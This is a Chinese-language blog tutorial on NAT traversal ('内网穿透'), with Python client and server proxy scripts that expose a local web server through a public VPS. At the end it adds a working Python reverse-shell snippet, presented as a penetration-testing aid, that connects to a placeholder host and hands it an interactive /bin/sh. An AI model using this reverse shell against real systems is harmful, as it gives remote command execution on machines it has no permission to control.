返回介绍

内网穿透

发布于 2024-09-21 14:54:08 字数 4993 浏览 0 评论 0 收藏 0

本篇主要介绍代理的一个常用的功能:内网穿透
很多人经常会有这么一个需求,需要将本地开发的 web 项目给外网的人看下,再搭一遍到 vps 太麻烦,于是就有借助拥有公网 ip 的主机来中转。

有专门的软件做这件事,如 ngrok, frp。

介绍下原理

由于内网的机器有 NAT 或 防火墙什么的,外网 vps 是无法会直接连接的,所以想要通过 vps 来中转就需要内网先连接 vps,然后 vps 通过连接的套接字来转发数据。

贴下代码

client_proxy

import socket
import select

def send_data(sock, data):
print(data)
bytes_sent = 0
while True:
r = sock.send(data[bytes_sent:])
if r < 0:
return r
bytes_sent += r
if bytes_sent == len(data):
return bytes_sent

def handle_tcp(sock, remote):
# 处理 client socket 和 remote socket 的数据流
try:
fdset = [sock, remote]
while True:
# 用 IO 多路复用 select 监听套接字是否有数据流
r, w, e = select.select(fdset, [], [])
if sock in r:
data = sock.recv(4096)
if len(data) <= 0:
break
result = send_data(remote, data)
if result < len(data):
raise Exception('failed to send all data')

if remote in r:
data = remote.recv(4096)
if len(data) <= 0:
break
result = send_data(sock, data)
if result < len(data):
raise Exception('failed to send all data')
except Exception as e:
raise(e)
finally:
sock.close()
remote.close()

while True:
s_conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s_conn.connect(("xx.xx.xx.xx", 2333))

client_conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_conn.connect(('127.0.0.1', 8000))

handle_tcp(s_conn, client_conn)

server_proxy

import threading
import socket
import select


# AF_INET: 基于 IPV4 的网络通信 SOCK_STREAM: 基于 TCP 的流式 socket 通信
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

# 将套接字绑定到地址
s1.bind(('', 2333))
# 监听 TCP 传入连接
s1.listen(5)


# AF_INET: 基于 IPV4 的网络通信 SOCK_STREAM: 基于 TCP 的流式 socket 通信
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# 将套接字绑定到地址
s2.bind(('', 8000))
# 监听 TCP 传入连接
s2.listen(5)


def send_data(sock, data):
print(data)
bytes_sent = 0
while True:
r = sock.send(data[bytes_sent:])
if r < 0:
return r
bytes_sent += r
if bytes_sent == len(data):
return bytes_sent


def handle_tcp(sock, remote):
# 处理 client socket 和 remote socket 的数据流
try:
fdset = [sock, remote]
while True:
# 用 IO 多路复用 select 监听套接字是否有数据流
r, w, e = select.select(fdset, [], [])
if sock in r:
data = sock.recv(4096)
if len(data) <= 0:
break
result = send_data(remote, data)
if result < len(data):
raise Exception('failed to send all data')

if remote in r:
data = remote.recv(4096)
if len(data) <= 0:
break
result = send_data(sock, data)
if result < len(data):
raise Exception('failed to send all data')
except Exception as e:
raise(e)
finally:
sock.close()
remote.close()


while True:
con1, addr1 = s1.accept()
print("new connection from %s:%s" % addr1)
con2, addr2 = s2.accept()
print("new connection from %s:%s" % addr2)
t = threading.Thread(target=handle_tcp, args=(con1, con2))
t.start()
  1. 假设我们需要共享的 web 是 python 的 simple http_server, 首先执行 python -m SimpleHTTPServer, 这样本地会绑定 8000 端口
  2. 在自己的 vps 上运行 python3 reverse_server.py
  3. 在本地运行 python3 reverse_client_proxy.py
  4. 接下来我们直接在外网访问 vps 的地址: http://xx.xx.xx.xx:8000 就可以发现能够转发内网的数据了。

github 地址: reverse_client_proxy.py

reverse_server_proxy

一般内网穿透在网络安全人员做内网渗透测试的时候比较有用,反弹一个 shell。就可以任意执行命令。

这里分享一个最基本的 python 反弹 shell 脚本

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("x.x.x.x",2333))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文